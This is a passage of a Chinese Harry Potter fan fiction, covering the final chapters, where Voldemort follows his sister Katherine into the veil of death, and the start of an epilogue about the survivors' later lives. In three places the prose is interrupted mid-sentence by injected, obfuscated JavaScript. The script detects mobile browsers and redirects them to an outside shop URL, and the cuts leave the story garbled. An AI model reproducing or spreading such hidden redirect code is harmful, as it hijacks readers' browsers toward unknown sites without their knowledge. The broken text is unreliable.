“伏地魔复活仪式上,两根魔杖互相认出了对方。凯瑟琳和伏地魔进入了类似于我们所处的地方。凯瑟琳看到了属于她哥哥最终的悲惨结局。然后她获得了神启,她还有机会改变这一切!而死圣最终会属于真正需要它们的人。哈利。 在我尝试摧毁戒指的时候,被伏地魔附身的她拿走了复活石;接着,她的缴械咒获得了长老魔杖的使用权;再接着,当你们去戈德里克山谷的时候,她带走了隐形衣。 除了你,她是另外一个能够得知伏地魔思想的人,正因如此,她提前得知了他的计划,拿走了预言球。现在真相大白了—— 预言所指向的那个人,一直是凯瑟琳。 而这些年还有一件她一直在做的事情。她收集了她哥哥所有的灵魂碎片,而现在……她即将得到最后一片。” 原来如此。 五十年前——当凯瑟琳被格林德沃利用而变成默默然参加第一次巫师大战的时候,她无意中将混在人群中的汤姆·里德尔制作为了自己的魂器;接着,当伏地魔前往杀死哈利的时候,他的死咒杀死了挂坠盒中自己的灵魂;当死咒反弹到伏地魔身上的时候,他分裂出了自己的一部分灵魂,还有在他体内那部分凯瑟琳的灵魂,一起被封存在了哈利体内,这也就是为什么哈利能够在脑海中看见凯瑟琳;哈利脑海中的凯瑟琳一直在做针线活,是因为她的灵魂正在争分夺秒地修复汤姆的灵魂——往后的每一次,无论是雷古勒斯摧毁的小金杯也好,密室里摧毁的日记本也好,还是后面的戒指、王冠、纳吉尼和哈利自己,她都正好出现在附近,也是为了收集那些脱离魂器保护的灵魂。 ……她一直知道自己在做什么:如果没能在罪恶的源头就阻止罪恶的滋生,那么往后的每一步,都只能尽力挽救那个最不堪的结局。因此,三件死亡圣器才会完全属于她,只有她,真正需要死圣。 …… 所有的线索在一瞬间像是珍珠项链一样被串联了起来,哈利惊诧地瞪着眼,他又看了一眼那看上去像被剥了皮的东西,它正在不远处冷冰冰的椅子下的阴影中颤抖着喘不过来气来。 “如果你有了决定,那么,我们就要暂时分开了……” 邓布利多的话音未落,他们同时看见一个女子从迷雾里走了出来——她看起来十几岁的年纪,微卷的齐腰黑发遮住了她的侧脸,她穿着一件白色的睡裙,脖子上挂着一个金色的吊坠盒。他们都停下了动作,看着那个女人缓缓地走过来,抱起了那个哭泣的婴儿。 那个在痛苦地抽泣、喘息的婴儿声音慢慢地消失了。它努力地往女子的怀里依偎。 “时间到了,对吗,先生?”哈利看着情绪被平息的婴儿,肯定地问道。 邓布利多的神色很平静,还有着满意。 过了良久,等到女子和那个婴儿消失在雾气中,他才缓慢地说道,“你看,她完美地完成了所有的任务,时间要到了。” 哈利得到了肯定的回答,他站起身来,邓布利多也这样做了,他们互相凝望了很长时间。 “告诉我最后一件事,”哈利说,“这是真的吗?或者这只是我的头脑中的想象?” 邓布利多看向他,他的声音在哈利的耳朵里显得如此明朗有力,尽管明亮的雾再次暗了下来,模糊了他的身影。 “这当然是出现在你头脑中的,哈利,但这同时也是真实的。” 94.chapter92 在绿光击中哈利的那一刹那,伏地魔同时陷入一片黑暗中。 他这是怎么了? 他计划了好几个月,现在没有了邓布利多的干扰,凯瑟琳也并没有挡在哈利前面,为什么还是出现了意外? 他从一片黑暗中挣扎着想要站起来,却发现自己没有任何力气。他吃力地环顾漆黑的四周,他似乎是走在一个荒芜的旷野中,只是头顶无星无月,也没有前路。他什么也看不到,什么也听不见—— 内心有个声音告诉他,这里是最孤寂的地方,没有第二个人会来。 他努力地想要动弹,却像是被什么东西掐住了——紧接着,他的触觉恢复了,浑身都很疼,疼的胜过一切,比那时被死咒反弹时还要疼,像是有人要剥下他的皮,啃食他的血肉和骨头——而他只能无助地躺在地上。 他似乎听见自己在哭。 哭? 他从来不会哭。 但是他在哭,那是无意识的。 他的听觉也恢复了,似乎是在漆黑的穹顶之外,有人在对话。 “先生,那是什么?” “我们谁也帮不上的东西罢了。” 他听见了两个熟悉的声音,第一个声音是哈利·波特,而第二个声音是阿不思·邓布利多。 不对,不对。 他明明杀死了哈利·波特,阿不思更是死得透透的,他为什么能听见他们在谈话?现在是什么时候? 浑身都很疼,他无法动弹,只能被迫听着他们的谈话。 …… “但是如果伏地魔使用了死咒,”他听见哈利的声音问道,“而这次没有人为了保护我而死去——那我是怎么活下来的呢?” “我认为你是知道的,”邓布利多说。“你往回想,回忆,在他的无知,他的贪婪和他的残酷的驱使下,他都做了什么。” 他疼极了,撕心裂肺地哭泣着。希望能引起邓布利多或者哈利任何一个人的注意,但是他们只是忽略他,继续谈话。 他都做了什么。 第一次杀人是在什么时候?他自己都记不清了。 抢走领养名额的安娜几天后街头流浪;艾米和丹尼斯满眼恐惧;卡米拉·格林格拉斯永远变成一只猫……还有他从科尔夫人放在桌上的报纸上偷看到三家麻瓜男孩同时被蛇咬死的新闻时,内心没有任何愧疚。 ——谁欺负他妹妹,他就能让他们倒霉。 比利吊死在房梁上的兔子,死在梅勒思教授杖下的小蛇,海格豢养的蜘蛛阿拉戈克,还有害怕得浑身颤抖的克利切…… ——杀死的只是畜/生而已,只要他获得他想要的,就行了。 绿光闪烁,他的混蛋父亲倒在地板上、阻拦他的詹姆和莉莉像破木偶一样倒下、伯莎·乔金斯倒在草地上、凯瑞迪·布巴吉砸在马尔福家的餐桌上、瘦骨嶙峋的无牙老人摔回纽蒙加德监狱的纸板床上,全都再无生息;他的舅舅在阿兹卡班被折磨致死;被蛇怪杀死的女孩倒在盥洗室的地上;赫普兹巴和梅勒思被他的毒药毒死;纳吉尼咬死年迈的巴希达和胆小的虫尾巴…… ——顺他者昌,逆他者亡。只要他法力强大,他就能永垂不朽。 后悔吗? 对他来说,不存在悔恨——即使疼痛迫使他对自己的过去进行审视。 “伏地魔复活仪式上,两根魔杖互相认出了对方。凯瑟琳和伏地魔进入了类似于我们所处的地方。凯瑟琳看到了属于她哥哥最终的悲惨结局。然后她获得了神启,她还有机会改变这一切!而死圣最终会属于真正需要它们的人。哈利。在我尝试摧毁戒指的时候,被伏地魔附身的她拿走了复活石;接着,她的缴械咒获得了长老魔杖的使用权;再接着,当你们去戈德里克山谷的时候,她带走了隐形衣。除了你,她是另外一个能够得知伏地魔思想的人,正因如此,她提前得知了他的计划,拿走了预言球。现在真相大白了——预言所指向的那个人,一直是凯瑟琳。而这些年还有一件她一直在做的事情。她收集了她哥哥所有的灵魂碎片,而现在……她即将得到最后一片。” 他像一个无耻的窃听者,听着黑色穹顶上方传来的邓布利多的话。 什么意思?长老魔杖属于凯瑟琳?格林德沃当时和他说的是这个意思吗? 还有,收集灵魂碎片是什么意思? 他现在迫切地想见见他妹妹,他希望他能和她说说话,或者她能带他离开。 太痛了,离开这里,去其他任何地方都行。 他依旧能听见自己懦弱的抽泣声,但是现在还多了一个脚步声。 他吃力地睁眼四下观望,发现自己又恢复了视力——远方出现了一个白色的光点。 他一开始并不想暴露自己的位置,然后被任何一个人看到自己如此狼狈且手无寸铁的样子。 但是那个光点却像知道他在这里一样,以平稳的速度朝他靠近,偶尔小跑几步。 待光点靠近,汤姆立刻看清了来人。 像是有人听到了他的许愿——走来的人是十七岁的凯瑟琳。她右手握着他的紫杉木凤凰羽毛的魔杖,刚才看到的白色光点正是魔杖尖发出的荧光闪烁。 “凯瑟琳?”他仿佛松了一口气,“快把我的魔杖还给我——还有这里是哪里?赶紧带我出去,我还得……”他还得确认哈利·波特有没有被他干掉,然后继续统治世界。 凯瑟琳走向汤姆。 “哥哥,魔杖我不能还给你……而且,你出不去的。”她平静地说道。 “撒谎!”他说道,“凯瑟琳,你休想骗我。” 他发现,好像就是随着凯瑟琳的到来,身上的疼痛减轻了,他站了起来。 借助魔杖发出的微光,他紧紧盯着凯瑟琳的脸,试图找到她的脸上闪过的不自然,但是,一无所获。 凯瑟琳只是平静地看着他,脸上甚至还有一些怜悯。这毫无疑问有些激怒了他——他不允许自己像弱者一样被同情,但是他仿佛有很多事都不知道,他无法接受自己的无知。 “把魔杖还给我,凯瑟琳。你拿着它是要干掉我吗?” “不是。我们都知道还有许多其他方法可以摧毁一个人,哥哥。”凯瑟琳仍然平静地说,继续走近他,好像她根本没有把眼前怪诞的事情放在眼里。 她走到汤姆面前,他们之间的距离和那日在巴希达宅子发生争执的一晚上差不多。她抬头看着汤姆,就好像完全不知道他现在魔法部战况的紧急。 “现在,丢失性命已经不足以弥补你犯下的过错了。” “没有比死更糟糕的事情了,凯瑟琳!”汤姆咆哮着。 “你真是大错特错了。”凯瑟琳的声音很轻,就像小时候两个人缩在孤儿院小床上讨论着外面的世界一样轻。 “事实上,你失败的原因就是不能理解还有比死亡更坏的事情。” “什么?”汤姆问,然后他随即又冷笑着问,“又是爱么?你被邓布利多洗脑了——那老头最喜欢的答案,爱,他声称爱可以征服死亡,但是爱没有阻止他从塔上像一个老蜡像一般掉下来;爱没有阻止我像踩死蟑螂一样杀死哈利那个泥巴种妈妈;更没有阻止你抛弃我而离去!难道不是吗?你不是一直最爱我了吗?那么为什么会死?” 他的语气从一开始的不屑和嘲讽,在说到最后的时候变得狂怒。 “你说的不对。哥哥。你听我说。”凯瑟琳的声音依旧平和,就像是旷野里的一个湖泊,即使有狂风刮过也依旧没有任何波澜。 “什么。”汤姆依旧愤怒地喘着气,他瞪着凯瑟琳。不知道他妹妹会像邓布利多一样和他说道什么大道理。 “你没有死。”凯瑟琳说。“现在的你介于生和死之间,你会被困在这个黑色的空间,永远承受凌迟的疼痛,不断反思自己犯下的罪孽,永远出不去。” 属于汤姆的英俊的脸上掠过了一丝恐惧,尽管那马上就消失了。汤姆开始狂笑,那笑声比他的怒吼更可怕。 疯狂的笑,在寂静的旷野里回荡。 “不,不可能。你在撒谎,凯瑟琳。”他说道,“我还有魂器——即使你没来,我也会找到出去的方法……” 但是他的脚却没有动。他依旧盯着凯瑟琳,期待她会赞同他的说法,或者因为他发现真相而承认。 没有。 凯瑟琳也站在原地,手中举着他的紫杉木魔杖。 “哥哥,你的魂器全部被摧毁了,就在刚才,你亲自摧毁了你最后一个魂器——哈利·波特。” 汤姆没有说话。很显然,他内心相信这个说法——从他开始利用哈利将他骗来魔法部开始。 “十四年前,那个拦在楼梯口的人,是我。你的索命咒并没有击中我,而是击中了我胸前的挂坠盒;七年前,雷古勒斯利用身份之便,摧毁了你存放在莱斯特兰奇金库里的小金杯;四年前,哈利摧毁了日记本;一年前,邓布利多摧毁了马沃罗的金戒指;半年前,我摧毁了拉文克劳的冠冕,福林特杀死了纳吉尼,然后,刚才,你杀死了哈利·波特体内的灵魂。” 汤姆的喉结滚动了一下,他没有说话。似乎是在回想过去的细节。 所以。是雷古勒斯和尼可·勒梅复活了凯瑟琳,那天正好是7月31日。原来如此……原来一半麻瓜一半纯血的人指的是凯瑟琳……拥有征服黑魔头的力量,而黑魔头对它无可奈何……原来如此,原来如此……一直以来,他忽略了身边的人,一直以来,他都找错了目标。 他错的离谱,错的彻头彻尾。 过了良久,他终于再次找回了自己的声音。 “所以,我会一直留在这里?”他的声音不再是寒冰一般的冷酷,而是多了像孩子一样的茫然。像是每次向凯瑟琳求证她会一直帮他的时候那样。 “那你来这里干什么呢?我为什么还能思考?为什么还能和你对话?” “因为,我要来归还你的灵魂。”凯瑟琳说道,她轻轻挥动魔杖,嘴里念念有词,眼里有泪光闪动。 “哥哥。你要看看你自己是怎么伤害自己的吗?” 不,他不要。 她在说什么? 他最爱自己不过,他怎么会伤害自己。 凯瑟琳看到汤姆呆呆地站在那边,一挥魔杖,汤姆面前出现一面镜子。 汤姆看见镜中的自己,他浑身上下都是伤痕,脖子似乎还有被缝合的痕迹。像一个破烂的木偶,勉强能够控制四肢。 “这不是我。”他说。 这不比当一个被掐住即将窒息的婴儿好多少。他不刚看到如此不堪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419335|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的自己,如此虚弱,如此破碎。 汤姆捂住了眼睛朝他妹妹怒吼道。 “把镜子拿走!凯瑟琳!你离开!你离开我!” “那我离开了。”凯瑟琳说道,镜子消失了,汤姆通过指缝看见凯瑟琳转过身。 “等等!”他有喊道。 凯瑟琳停住脚步。 “你能带我出去,对不对?”汤姆尝试着问道。 “带你出去,去哪里呢?”凯瑟琳问。 “去……”汤姆的话顿住了。他不确定自己是否失势,他不知道时间究竟流逝了多久,但是他的想法不一样了。 就在凯瑟琳归还他的灵魂时。一些很久未拾起的破碎情绪填满了他的胸膛,停跳很久的心脏重新开始跳动。 他似乎记起很久远的时候,他有着健全的人性,他送给他妹妹一个蛋壳蓝色的发卡,他们一起看着掌心的烟花,妹妹手中的千纸鹤飞过窗棂,飞向他…… 他从未想过自己在追逐丰功伟业的时候,身后有着什么,他从未想过如果自己失败,那么他将何去何从——当他身陷囹吾,孤立无援,他始终没有一个真正的栖息之所。就算他的魔法达到无人能及的高度,站在寒冷的顶峰,他无人可以真正信任。 他永远是被父母抛弃的孩子,是雨打的浮萍,他可以用权利逼迫马尔福把宽敞的庄园留给他,但那始终不是他的家,也不会是他能够获得片刻喘息的场所。 但是他忽然一下就想起,他一次一次用恶劣的语气对着凯瑟琳说话,想要得到的是她将会对他不离不弃的誓言,他需要知道就算他最终一无所有,她依旧会选择站在他身边。正如他虚弱地倒在阿尔巴尼亚森林时,没有一个所谓的伙伴会来找他,找他的人只有凯瑟琳。 不是为了任何利益,而是因为他们是永远的家人,她会无条件爱他。 “我也不知道能去哪。”他说道,“你知道的,我没有任何退路。” 凯瑟琳转过身,盯着他的眼睛。汤姆也看着她的眼睛。这一次,他没有对她说谎。 “你愿意跟我走吗?”半晌,凯瑟琳开口问道。 “什么?”汤姆觉得自己的大脑变得迟钝了,下意识地问道。 他应该跟着她妹妹走,他们可以一直在一起,虽然他们都是孤儿,但是彼此又是可以相依为命的家人。 就是在灵魂回归的一刻,他腻了,也累了。他只想靠在凯瑟琳的肩头,好好睡一觉,结束这场名为追求永生的荒唐的噩梦。 “如果我带你出去,”凯瑟琳问道,“你愿意跟我离开吗?跟我一起,去任何地方。” “愿意。”汤姆说道。 现在,他求之不得。 “好。”凯瑟琳说。她朝汤姆伸出手。汤姆用满是伤口的手回握住了她的。 他跟着凯瑟琳的步伐,慢慢地朝旷野中唯一有亮光的小木屋(他并不知道木屋是什么时候出现的)走去,同时听见从远处一个看不见的地方传来的声音。 “告诉我最后一件事,”哈利说,“这是真的吗?或者这只是我的头脑中的想象?” 邓布利多看向他,他的声音在哈利的耳朵里显得如此明朗有力,尽管明亮的雾再次暗了下来,模糊了他的身影。 “这当然是出现在你头脑中的,哈利,但同时也是真实的。” …… 他醒了过来,依旧是在神秘事务司的地板上。 凤凰社的成员围绕在同时苏醒的哈利四周,而食死徒们则畏惧地缩在一个角落里。 他身后空无一人。 “哥哥,这边。” 忽然,他听到了凯瑟琳的声音。 一屋子的人都循声望去,凯瑟琳从隐形衣下显形,紫杉木魔杖被她丢在地上。她穿着一贯的白色连衣裙,金色的挂坠盒挂在她的脖子上,复活石就在挂坠盒里。她朝他伸出手。 在她的身后,在神秘事务司死亡厅内,在阴间的幽晦中,那个石拱门显得如此高大庄严,苍白如殿堂的大门,闪烁着微光,美得像哀悼一场盛大毁灭。 帷幔飘拂的样子如此美妙。真正的、不朽的黑暗从那片弥漫着黑灰色雾气的陈旧、破烂背后纷飞而出,是夜晚和宇宙,夹杂着从中诞生的闪着微光的梦、睡眠、死亡。 他缓慢地站起来,长老魔杖被他扔在了地上。他丝毫不在意凤凰社的人们指向他的魔杖——那些魔咒打在他身上毫无痛感。 或许,他确实被挽救了,也是时候离开了,在那之后,他会有很多很多的时间去思考,去领悟,去忏悔。 他在凯瑟琳身边站定,然后再次握住凯瑟琳的手。 死亡距离他是那样的近,但是他却不再颤抖了……只要她还爱着他,他就不会消亡。 朝他发射的咒语停住了,但是他们谁也没有回头再看一眼,也无需多言。 “汤姆,我们走吧。” “好。”他回答。 现在他不是伏地魔,他只是一个拥有最普通名字的汤姆·里德尔,只是一个肉体凡胎,并以最平凡的方式面对死亡。 大厅中寂静无声,所有人都屏息凝神,没有人说话,甚至没有人出声。大家无言地目送那对兄妹,手牵手,然后平静地跨入死亡的帷幔之中—— 消失了。 95.chapter93 我叫凯瑟琳。凯瑟琳·里德尔。 我的父亲是一个恶棍,母亲是一个qj犯,哥哥是一个杀人犯。 我曾经无数次地想过,如果故事能够重写,我能否有一个幸福且有爱的家庭。 这是一种奢望—— 因为有的人的降生,注定不被期待。 科尔夫人说,哥哥出生的时候,母亲希望他不要像她,而我出生的时候,母亲说我本不该降生。 我依旧记得父亲看我时那恐惧和厌恶的眼神,还有爷爷奶奶的气愤的面庞。 我在怀疑,在质疑自己的存在,我在想,世界上,还有在乎我的人吗?我是否是一个不应该来到这世上的人?会魔法是否是一种罪过?我是否应该背负着父母犯下的罪孽赎罪一辈子? 提到很多的事,都绕不开一个人——我的亲哥哥。 是汤姆·马沃罗·里德尔,亦是伏地魔。 直到三十多年后,我获得第二次的生命,邓布利多告诉我,我的哥哥已成为一个杀人不眨眼的魔王。 更重要的是,他抛弃了感情,没有心,也没有爱。 我并没有很难以置信,因为早在很久以前,我就有所察觉——但我从没有深入了解过。他会偷东西,给别人使绊子,让他们倒霉,但是,那时候,我依旧相信他是个好哥哥,因为我能感受到他对我最真挚的关心。 我已经失去了爸爸妈妈,因此,我不想再失去我的哥哥,我唯一的亲人。 我向邓布利多提出我自私的请求,希望饶过他破碎的灵魂,想将它从困境中救出……尽管他早已罪孽深重。 但是,谁又比谁高尚呢? 我知道自己的默默然破坏了多少巫师的家庭,我也知道向巫师界最伟大的巫师发射死咒对灵魂的伤害有多大。 我会为一切付出代价。 预言说,哥哥和我,一个注定失败,一个即将死亡。哥哥会对我无可奈何,而我有他所不了解的力量。 力量是什么? 是割舍不断的血缘,是他从不肯承认对我的爱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419336|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他是我的亲人,爱人的力量,本就是与身俱来。与迷情剂无关。 邓布利多说,不要同情死人,而是要同情那些活着却不明不白的可怜之人。是我哥哥,为了追求永生,放弃了太多,明白的人怜悯他,不明白的人痛恨他。没有人能够帮助他,而他也从来不稀罕这套有关爱与力量的说辞。 于是,我做出了最终的决定。 哥哥,走吧。 只要灵魂被保留,我们就还有希望。 ………… 我们的血缘相长 似水深邃而流淌 纵我身无长物 你仍不离弃 当你坠入深渊 曾几迷失,让世界崩塌 也许最终的结局并不光彩 但你我的血缘 好似隽永的潮汐 维系我们穿过黑夜 就让这一叶扁舟 带我们一起离开 唯愿下一世 平安喜乐。 ——全文完—— 96.下卷番外·一 1995年的夏天非同寻常。 几乎全巫师界都在庆祝着黑魔头的彻底离去。万分肯定地,因为有无数人都目睹了他自愿踏入死亡帷幔的场景。 不少食死徒都被抓了,只有马尔福一家和雷古勒斯·布莱克除外。 西里斯破天荒地站在了雷古勒斯的这一边。他还记得凯瑟琳在一开始和他说的话——作为兄弟,怎么会有化解不了的仇恨呢?他只是需要时间来消化过去的一切。 事实上,他们在神秘事务司大战的时候关系就已经回复如初——不,应该说比以往的任何一天都要亲密。 当然,西里斯并不打算继续住在布莱克的祖宅,因为沃尔布加那个被施了永久粘贴咒的画像总是会在他路过的时候喋喋不休。他取出自己金库的金子,对波特家在戈德里克山谷的祖宅进行了装修(嘿!不是那个伏地魔潜入的房子,那个房子其实是邓布利多家族的),然后住在了他自从六年级离家出走后就一直借住的那个房间。当哈利和金妮结婚后,他就进行全球旅行去了。 雷古勒斯没有结婚,他收养了一个孩子——西里斯偶然在旅行归来时身边带着一个叫汤姆的小男孩。 “是个孤儿,我在路边看到他的时候,他几乎奄奄一息,用手变出火焰给自己取暖。” 就这样,雷古勒斯收养了这个男孩。给他取名为汤姆·雷古勒斯·布莱克,汤姆在后来和詹姆·西里斯·波特成为了同学,一起就读于霍格沃茨的格兰芬多学院。 * 从1995年的暑假起,哈利再也不用回到女贞路那个家。 当他和西里斯出现在弗农姨父和佩妮姨妈面前的时候,着实把他们吓得不轻,而达力则和以前相比变了不少——或许是四年级暑假时的那些摄魂怪改变了他的一些想法。尽管哈利依旧无法和这家人走得很近,但反正他可以跟西里斯住在一起,所以也变得没那么在乎过去了。 佩妮姨妈在哈利准备离开时,将出事那天晚上,包裹着他的那个襁褓还给了哈利。 “哈利……”她瞪着眼睛,似乎有什么话想要对哈利说,但是看着哈利酷似他母亲的眼睛,那些话变得更加难以说出口。最终,她只留下一句话,便关上了房门。 “其实,在你失去你母亲的同时……我也失去了我的妹妹。” 再后来,佩妮姨妈在2005年的时候去世了,不过弗农姨父活得还不错,曾经在2012年参加过一档赛车节目的请愿活动;达力表哥结婚了,自从摄魂怪之后他的改变日新月异,婚礼的时候,他还给哈利发去过请柬。 * 接下来的两年,尽管斯内普想要卸任校长的职位,却被以哈利为首的学生们阻止了。知道真相的哈利终于意识到了斯内普这些年的付出,尽管他确实说话很难听,但是哈利已经不像以前那样厌恶和仇视他了。 卢平在作为感染狼人被正名后返回霍格沃茨成为了黑魔法防御术教授,他很受学生们的欢迎,在斯内普发明出狼人解毒剂让他不在发病之后,他的受欢迎程度更上一层楼。 斯拉格霍恩被重新聘回学校成为魔药教授——这没什么不好——哈利在owls补考中魔药学只得了E,还好斯拉格霍恩接受E及以上成绩的学生,所以哈利距离当傲罗的梦想又近了一步,最终在七年级毕业后成功成为了一名傲罗。 * 住在戈德里克山谷的时候,哈利曾重返家族墓地,除了祭奠自己的父母,他还发现凯瑟琳原本被打碎的墓碑已经被人重修了: 【永远铭记第一次、第二次巫师战争的无名英雄,凯瑟琳】 哈利知道这是谁写的——阿不福思·邓布利多。 大战结束后,他选择继续留在霍格莫德的猪头酒吧里,当一个看似平平无奇的酒吧招待。 或许他一直是一个性格鲁莽的人,总是于阿不思形成鲜明的对比。但哈利唯一确信的是他是一个有爱的人,尤其是关爱弱者。上天并没有眷顾这个可怜的老人,他们夺走了他的妹妹、他的儿子、他的妻子、还有他所珍视的有着相似命运的朋友,但在大战时,他依旧是最可靠的情报员,是和他哥哥一样伟大的战争英雄。 海格成为了保护神奇动物的老师,但是他一直没有换掉自己的那根红伞魔杖——几十年前,那个温柔的女孩将这把伞送给他,希望他能照顾好自己的健康。每当放假,他也会来到戈德里克山谷的墓地,祭奠那个从未嫌弃过他身份的女孩。 * 秋天好像来得很突然。九月的第一个早晨如同苹果般清新。在清凉的空气中,汽车的尾气和人们的呼吸就像蜘蛛吐丝一样。一家子人正穿过熙熙攘攘的街道向那烟雾缭绕的车站走去。父母推着两辆载满了沉重行李的小车,最顶上有两个大笼子,里面的猫头鹰愤怒的叫着,一个红头发的女孩在她的两个哥哥后面拖拖沓沓地走着,抓着她父亲的胳膊。 哈利和金妮一共有三个孩子,大儿子詹姆·西里斯·波特,二儿子阿不思·西弗勒斯·波特(斯内普校长对此表示抗议,但是抗议无效),和小女儿莉莉·凯瑟琳·波特,现在他们一家人再次来到了国王十字车站——那个哈利曾经在生与死之间抉择的地方,也是梦开始的地方。 “要不了多久,你也会去哪儿的。”哈利对她说。 “还要两年呢,”莉莉不满地说,“我现在就要去!” 路人好奇地盯着猫头鹰,看到这一家子人正在第九和第十站台之间徘徊。阿不思又开始在哈利身后嚷嚷着,他的儿子们仍在继续着从一上车就开始的那个话题。 “我不会的!我不会被分到斯莱特林!“ “詹姆,行了!”金妮说。 “我只不过是说他有可能,”詹姆冲着他的弟弟笑了一下,“那也没啥不好的。他有可能会进斯莱特林。” 詹姆在看到他母亲的眼睛时就闭嘴了。然后他又高兴起来,朝另外一边挥着手。 莉莉和阿不思顺着他的目光看去,那边站着的是汤姆·雷古勒斯·布莱克,他和他的养父雷古勒斯站在一起,是詹姆的铁杆好友。 “嘿!布莱克!一起走吗?”詹姆大喊着。 尽管四周吵吵嚷嚷,但汤姆还是敏锐地扭过头。他的五官生的极英俊,有着乌黑的眼睛和灰色的眼睛,当他扭过头来时,目光扫过波特一家五口。 他朝詹姆点点头,然后扭头和雷古勒斯说了几句话,然后推着小推车来到詹姆身边。 “波特先生,波特太太,您好。”在汤姆和波特夫妇打过招呼之后,他和詹姆一前一后进入了站台。谁也没有注意到莉莉的眼神一直粘在汤姆身上。 “爸爸,他们都在格兰芬多的吗?”莉莉问。 “是的,他和你哥哥是很好的朋友。”哈利说,“就像我父亲和西里斯先生一样。” 莉莉望着柱子的方向若有所思地点了点头。她已经迫不及待想要入学了。 “你们会写信给我的,对吗?”阿不思抓紧了哥哥不在的这一点时间,问他的父母。 “每天都写,如果你想要的话。”金妮说。 “才不要每天,”阿不思快速的说,“詹姆说大部分人大概一个月才收到一封家里的信。” “去年我们每周给他写三次信呢。”金妮微笑着说。 “你不能相信他说的关于霍格沃茨的每件事,”哈利赶紧插话,“你哥哥他喜欢开玩笑。” 他们并排推着手推车向前冲去,速度越来越快。当他们马上撞那堵墙的时候,阿不思有点想要退缩,但是他什么都没撞到,相反的,九又四分之三站台出现在他们一家人的面前,薄雾中的熙熙攘攘的人群有点模糊不清,而詹姆和汤姆早就消失其中。 “他们在哪?”阿不思焦虑地说,沿着月台摸索着路,凝视着那些模糊不清的人影。 “我们会找到他们的。”金妮安慰道。 哈利似乎听见了珀西用不大自然的声音大声讲述扫帚使用的规则,但是雾太大了,很难看清别人的脸。这真是个不用停下来打招呼的好借口。 “我想他们在那里,阿尔,”金妮突然说。 四个人从薄雾中出现,站在最后一节车厢旁边。当哈利、金妮、莉莉和阿不思走到跟前才真的看清了他们的脸。 “嘿!”阿不思说,听起来他这下总算放心了。 露丝已经穿上了崭新的霍格沃茨校袍,笑逐颜开的看着他。 “车停好了?”罗恩问哈利,“我做到了,赫敏怎么也不相信我能通过麻瓜的驾驶考试,对吧?她认为我对考试官施了混淆咒。” “不,我没有。”赫敏说,“我对你完全有信心。” “事实上,我的确对他施了咒。”当他们正把阿不思的行李和猫头鹰抬到车厢上的时候,罗恩小声对哈利说。“我只不过忘了看观后镜——不过确实——我对他用了混淆咒。” 当他们回到月台,发现了莉莉和雨果——露丝的弟弟,正在起劲地议论着,将来等他们到了霍格沃茨会被分到什么学院。 “如果你不在格兰芬多,我们会剥夺你的继承权。”罗恩说,“但是别给自己太大压力。“ “罗恩!” 莉莉和雨果大笑了起来,但是阿不思和露丝看起来都很紧张。 “他不是那个意思。”赫敏和金妮说道。但是罗恩不再注意他们了,他看到了哈利的目光,注意他正默默的看着在他们大约五十码开外的地方。雾气比刚才淡了一些,有三个身影在里面隐现。 “看,是谁呀。” 德拉科·马尔福站在妻子和儿子旁边,黑色的外套一直扣到咽喉。他稍微有点谢顶了,更显得下巴尖尖。那个小男孩长得和他父亲十一岁的时候很像,就像阿不思像哈利小时候一样。德拉科看到了哈利、罗恩、赫敏和金妮正看着他,稍稍点了一下头,就转过了身。 “那就是斯科皮吧,”罗恩屏住呼吸说,“你可要保证每次考试都打败他,露丝。感谢上帝,你继承了你妈妈的脑子。” “罗恩,看在老天的份上。”赫敏半嗔半笑地说道,“别让他们还没进学校就成了对头。” “哦,你说得对,对不起。”罗恩说,但是还是不由自主的又加了一句,“尽管如此也别和他走的太近了,露丝,如果你嫁给一个纯血的,韦斯莱祖先们不会原谅你的。” “嗨!” 詹姆又回来了,汤姆站在他身后。他已经在火车上放好了他的箱子、猫头鹰和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426843|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手推车。现在走回来,看起来似乎带来了什么爆炸新闻。 “泰迪也来到这儿了。”他气喘吁吁的说着,指了指身后的水蒸气。“我们刚看到他了!你们猜他在干嘛?他在和维多利亚亲嘴!” “我们的泰迪!泰迪·卢平!和我们的维多利亚亲嘴!我们的表姐!然后我问泰迪他在干什么——” “你们打断了他们?”金妮说,“你可真像罗恩……” “他跟我们说他就是来送送她!然后让我闪开。他就亲上了!”詹姆又加上了一句,好像担心自己说得不够清楚,“我说的对吧,汤姆?” “确实如此。”汤姆公正地评价道。“并且我怀疑卢平先生和太太对此毫不知情——刚才卢平先生还在的时候,泰迪和维多利亚表现得可没那么亲密。” “哦,如果他们能结婚那真是太好了!”莉莉似乎觉得这很正常,“那样泰迪就真的成了我们家的一员了!“ “他已经一周来我们家吃四次晚饭了。”哈利说,“我们为什么不邀请他和我们一起住呢?” 